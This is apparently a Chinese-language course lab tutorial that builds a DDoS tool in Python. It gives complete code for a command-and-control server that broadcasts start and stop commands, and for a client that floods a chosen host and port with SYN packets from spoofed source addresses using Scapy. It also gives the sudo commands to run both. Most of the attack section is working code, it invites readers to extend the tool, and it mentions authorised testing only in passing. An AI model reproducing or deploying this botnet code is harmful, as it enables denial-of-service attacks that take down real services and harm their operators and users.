结合Socket实现DDoS攻击

一、实验说明

1. 实验介绍

通过上一节实验的SYN泛洪攻击结合Socket实现DDoS攻击。

2. 开发环境

• Ubuntu Linux
• Python 3.x版本

3. 知识点

本次实验将涉及以下知识点：

• argparse 命令解析
• socket的基本用法

4. 效果图

二、理论知识

1. 实现思路

由于上节实验我们已经实现了SYN泛洪攻击，而DDoS则是多台主机一起发起攻击，我们只需要能发送命令，让连接到服务器的客户端一起向同一目标发起攻击就可以了。

对安全领域比较关注的朋友可能都知道世界最大的黑客组织Anonymous经常使用LOIC(Low Orbit Ion Cannon，低轨道离子炮)进行大规模的DDoS。LOIC有个HIVEMIND模式，用户可以通过连接到一台IRC服务器，当有用户发送命令，任何以HIVEMIND模式连接到IRC服务器的成员都会立即攻击该目标！

这种方式的优点是不需要傀儡机，可以有很多“志同道合”的人一起帮助你实现DDoS，不过不太适合在傀儡机中使用。当然实现思路有很多，根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现DDoS，这种方式非常简单，可扩展性也比较强。

2. argparse模块

由于Server端需要发送命令去控制Client端发起攻击，所以这里我们先规定好命令格式:

'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'

-H后面是被攻击主机的IP地址，-p指定被攻击的端口号，-c控制攻击的开始与停止。

命令制定好了，现在我们来学习一下命令解析库argparse的用法。看过我其他实验的同学可能已经了解argparse的用法了，这里可以跳过或者当做复习重新学习一遍。 先来看一下argparse的文档：

在文档的描述中，可以看出argparse是一个命令行解析库，代替了老版本的optparse。下面我们通过一个例子一起了解一下argparse的基本用法！

#导入argparse库
import argparse
#创建ArgumentParser对象
parser = argparse.ArgumentParser(description='Process some integers.')
#添加参数
parser.add_argument('-p', dest='port', type=int,
                   help='An port number!')
#解析命令行参数
args = parser.parse_args()
print('Port:',args.port)

上面的例子中，我们创建了一个ArgumentParser对象，description参数是对命令行解析的一个描述信息，通常在我们使用-h命令的时候显示。add_argument添加我们要解析的参数，这里我们只添加了一个-p参数，dest是通过parse_args()函数返回的对象中一个属性的名称。type大家应该很好理解，就是解析参数的类型。help指定的字符串是为了自动生成帮助信息。argparse默认就支持-h参数，只要我们在添加参数的时候指定了help的值就可以生成帮助信息了。

3. socket模块

Python中的socket提供了访问BSDsocket的接口，可以非常方便的实现网络中的信息交换。通常我们使用socket的时候需要指定ip地址、端口号以及协议类型。在进行socket编程之前我们先了解一下客户端(Client)和服务器(Server)的概念。通俗的讲主动发起连接请求的称为客户端，监听端口响应连接的我们称为服务器。 下面我写一个客户端和服务器的例子：

客户端

#导入socket库
import socket

#创建socket:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#建立连接
s.connect(('192.168.0,100', 7786))

在上面的这个例子我们首先导入socket库，然后创建了一个socket对象,socket对象中的参数AF_INET表示我们使用的是IPV4协议，SOCK_STREAM则表示我们使用的是基于流的TCP协议。最后我们指定ip地址和端口号建立连接。

服务器

#导入socket库
import socket

cliList = []
#创建socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#绑定地址和端口号
s.bind(('0.0.0.0', 7786))：
#开始监听
s.listen(10)
while True:
    # 接受一个新的连接:
    sock, addr = s.accept()
    #将sock添加到列表中
    cliList.append(sock)

可以看到服务器的写法稍稍比客户端复杂一些，在创建玩socket之后，要绑定一个地址和端口，这里的0.0.0.0表示绑定到所有的网络地址，端口号只要不是已经使用的端口号就可以了。之后开始监听端口，并在参数中指定最大连接数为10。最后我们循环等待新的连接，并将已连接的sock对象添加到了一个列表中。注意这里accept()默认是阻塞的，还可以通过settimeout()设定等待时间或者setblocking()设置为非阻塞模式，更多的相关细节可以查看Python官方文档。

三、编码实现

通过前面的学习我们已经了解了本次实验需要的基础知识，现在我们就来分别实现Server端和Client端。

1. Server端

由于Server端能等待Client主动连接，所以我们在Server端发送命令，控制Client端发起SYN泛洪攻击。

实现主函数的完整逻辑，在主函数中我们创建socket， 绑定所有网络地址和58868端口并开始监听，之后我们新开一个线程来等待客户端的连接，以免阻塞我们输入命令。

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 58868))
    s.listen(1024)
    t = Thread(target=waitConnect,args=(s,))
    t.start()

由于我们要给所有客户端发送命令，所以我们在新开的线程中将连接进来的socket添加到一个list中，这个我们稍后介绍，但在主函数中我们第一次输入命令之前需要至少有一个客户端连接到服务器，所以这里我们判断了一下socket的长度。

    print('Wait at least a client connection!')
    while not len(socketList):
        pass
    print('It has been a client connection!')

现在循环等待输入命令，输入之后判断命令是否满足命令格式的基本要求，如果满足了，我们就把命令发送给所有客户端。

    while True:
        print('=' * 50)
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
        #等待输入命令
        cmd_str = input('Please input cmd:')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)

现在我们程序的大体框架已经有了，现在我们来编写主函数中没有完成的子功能。 首先我们应该实现等待客户端的函数，方便开启新的线程。

在这个函数中，我们只需要循环等待客户端的连接就可以了，新连接的socket要判断一下是否在socketList中已经存储过了，如果没有的话就添加到socketList中。

#等待连接
def waitConnect(s):
    while True:
        sock,addr = s.accept()
        if sock not in socketList:
            socketList.append(sock)

我们再来实现发送命令的函数，这个函数我们遍历socketList这个列表，将每个socket都调用一次send将命令发送出去。

#发送命令
def sendCmd(cmd):
    print('Send command......')
    for sock in socketList:
        sock.send(cmd.encode('utf-8'))

至此我们的Server端就完成了，是不是很简单！当然我们只是实现了基本功能，还有很多可以扩展，这个就留给同学们发挥了，举一反三进步才会快！

我们来看一下Server端的完整代码：

import socket
import argparse
from threading import Thread

socketList = []
#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'
#发送命令
def sendCmd(cmd):
    print('Send command......')
    for sock in socketList:
        sock.send(cmd.encode('utf-8'))

#等待连接
def waitConnect(s):
    while True:
        sock,addr = s.accept()
        if sock not in socketList:
            socketList.append(sock)

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0', 58868))
    s.listen(1024)
    t = Thread(target=waitConnect,args=(s,))
    t.start()

    print('Wait at least a client connection!')
    while not len(socketList):
        pass
    print('It has been a client connection!')

    while True:
        print('=' * 50)
        print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"')
        #等待输入命令
        cmd_str = input('Please input cmd:')
        if len(cmd_str):
            if cmd_str[0] == '#':
                sendCmd(cmd_str)
if __name__ == '__main__':
    main()

2. Client端

我们将在Client端实现对主机的SYN泛洪攻击，并在脚本启动后主动连接Server端，等待Server端发送命令。

还是先看主函数了解一下整体思路，在主函数中我们先创建ArgumentParser()对象，并将需要解析的命令参数添加好。

def main():
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str)
    p.add_argument('-p', dest='port', type=int)
    p.add_argument('-c', dest='cmd', type=str)

现在可以创建socket，连接服务器了。这里为了测试我们连接到本地地址的58868端口吧！之后我们就可以等待服务器发送命令了。

    try:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(('127.0.0.1',58868))
        print('To connected server was success!')
        print("=" * 40)
        cmdHandle(s,p)
    except:
        print('The network connected failed!')
        print('Please restart the script!')
        sys.exit(0)

我们将接收命令和处理命令定义在了一个单独的函数中。在这里我们用到了一个全局变量，用于判断是否有进程正在发起SYN泛洪攻击。之后就开始循环接收命令了，接收之后到的数据是byte型，我们需要对其进行解码，解码之后才是字符串。如果接收到的数据长度为0，就跳过后续的内容，重新接收数据。

#处理命令
def cmdHandle(sock,parser):
    global curProcess
    while True:
        #接收命令
        data = sock.recv(1024).decode('utf-8')
        if len(data) == 0:
            print('The data is empty')
            continue

`

如果数据的长度不为0，就判断是否具有命令基本格式的特征(#)，满足基本条件就需要用我们的ArgumentParser对象来解析命令了。

        if data[0] == '#':
            try:
                #解析命令
                options = parser.parse_args(data[1:].split())
                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd

命令参数解析出来后，我么就要判断到底是start命令还是stop命令了，如果是start命令，我们首先判断当前是否有进程在运行，如果有进程判断进程是否存活。如果当前有进程正在发起SYN泛洪攻击，我们就先结束这个进程，并清空屏幕。然后我们就直接启动一个进程，发起SYN泛洪攻击。

                #DDoS启动命令
                if m_cmd.lower() == 'start':
                    if curProcess != None and curProcess.is_alive():
                        #结束进程
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The synFlood is start')
                    p = Process(target=synFlood,args=(m_host,m_port))
                    p.start()
                    curProcess = p

如果命令是stop，并且有进程存活，我们就直接结束这个进程，并清空屏幕。否则就什么也不做。

                #DDoS停止命令
                elif m_cmd.lower() =='stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print('Failed to perform the command!')

由于SYN泛洪攻击我们在上一节实验中已经实现，这里就不多介绍了。现在我们看一下完整的Client端代码：

#!/usr/bin/python3
# -*- coding: utf-8 -*-
import sys
import socket
import random
import argparse
from multiprocessing import Process
from scapy.all import *
import os
isWorking = False
curProcess = None

#SYN泛洪攻击
def synFlood(tgt,dPort):
    print('='*100)
    print('The syn flood is running!')
    print('='*100)
    srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199']
    for sPort in range(1024,65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags="S")
        packet = ipLayer / tcpLayer
        send(packet)

#命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>'
#处理命令
def cmdHandle(sock,parser):
    global curProcess
    while True:
        #接收命令
        data = sock.recv(1024).decode('utf-8')
        if len(data) == 0:
            print('The data is empty')
            return
        if data[0] == '#':
            try:
                #解析命令
                options = parser.parse_args(data[1:].split())
                m_host = options.host
                m_port = options.port
                m_cmd = options.cmd
                #DDoS启动命令
                if m_cmd.lower() == 'start':
                    if curProcess != None and curProcess.is_alive():
                        curProcess.terminate()
                        curProcess = None
                        os.system('clear')
                    print('The synFlood is start')
                    p = Process(target=synFlood,args=(m_host,m_port))
                    p.start()
                    curProcess = p
                #DDoS停止命令
                elif m_cmd.lower() =='stop':
                    if curProcess.is_alive():
                        curProcess.terminate()
                        os.system('clear')
            except:
                print('Failed to perform the command!')

def main():
    #添加需要解析的命令
    p = argparse.ArgumentParser()
    p.add_argument('-H', dest='host', type=str)
    p.add_argument('-p', dest='port', type=int)
    p.add_argument('-c', dest='cmd', type=str)
    print("*" * 40)
    try:
        #创建socket对象
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        #连接到服务器端
        s.connect(('127.0.0.1',58868))
        print('To connected server was success!')
        print("=" * 40)
        #处理命令
        cmdHandle(s,p)
    except:
        print('The network connected failed!')
        print('Please restart the script!')
        sys.exit(0)

if __name__ == '__main__':
    main()

四、程序测试

准备工作都做好了，现在我们来测试一下我们的脚本是否能完成我们的任务。

首先我们运行Server端脚本：

sudo python3 ddosSrv.py

然后运行Client端脚本，记住这里一定要用root权限来运行:

sudo python3 ddosCli.py

可以看到Client端已经提示连接成功了

Server端也提示有一个客户端连接了，而且可以输入命令了。

我们输入一个命令测试一下，为了维护绿色的网络环境，最好找个允许测试的站点：

#-H x.x.x.x -p 80 -c start

看看Client端是否已经开始SYN泛洪攻击了：

Client端已经开始发送数据包了，说明已经发起了SYN泛洪攻击。至此我们的实验就全部完成了。

五、总结

通过这两节的实验我们应该已经掌握了基于Scapy DDoS攻击的实现方法，其实方法还有很多，同学们可以根据本次实验扩展一下，使本次实验的脚本更加完善或者采用新的方式实现DDoS。 下面总结一下这两次实验所涉及到的知识点：

1. 使用Scapy实现SYN数据包
2. Python中argparse的用法
3. Python中socket的用法
4. 使用socket实现客户端与服务器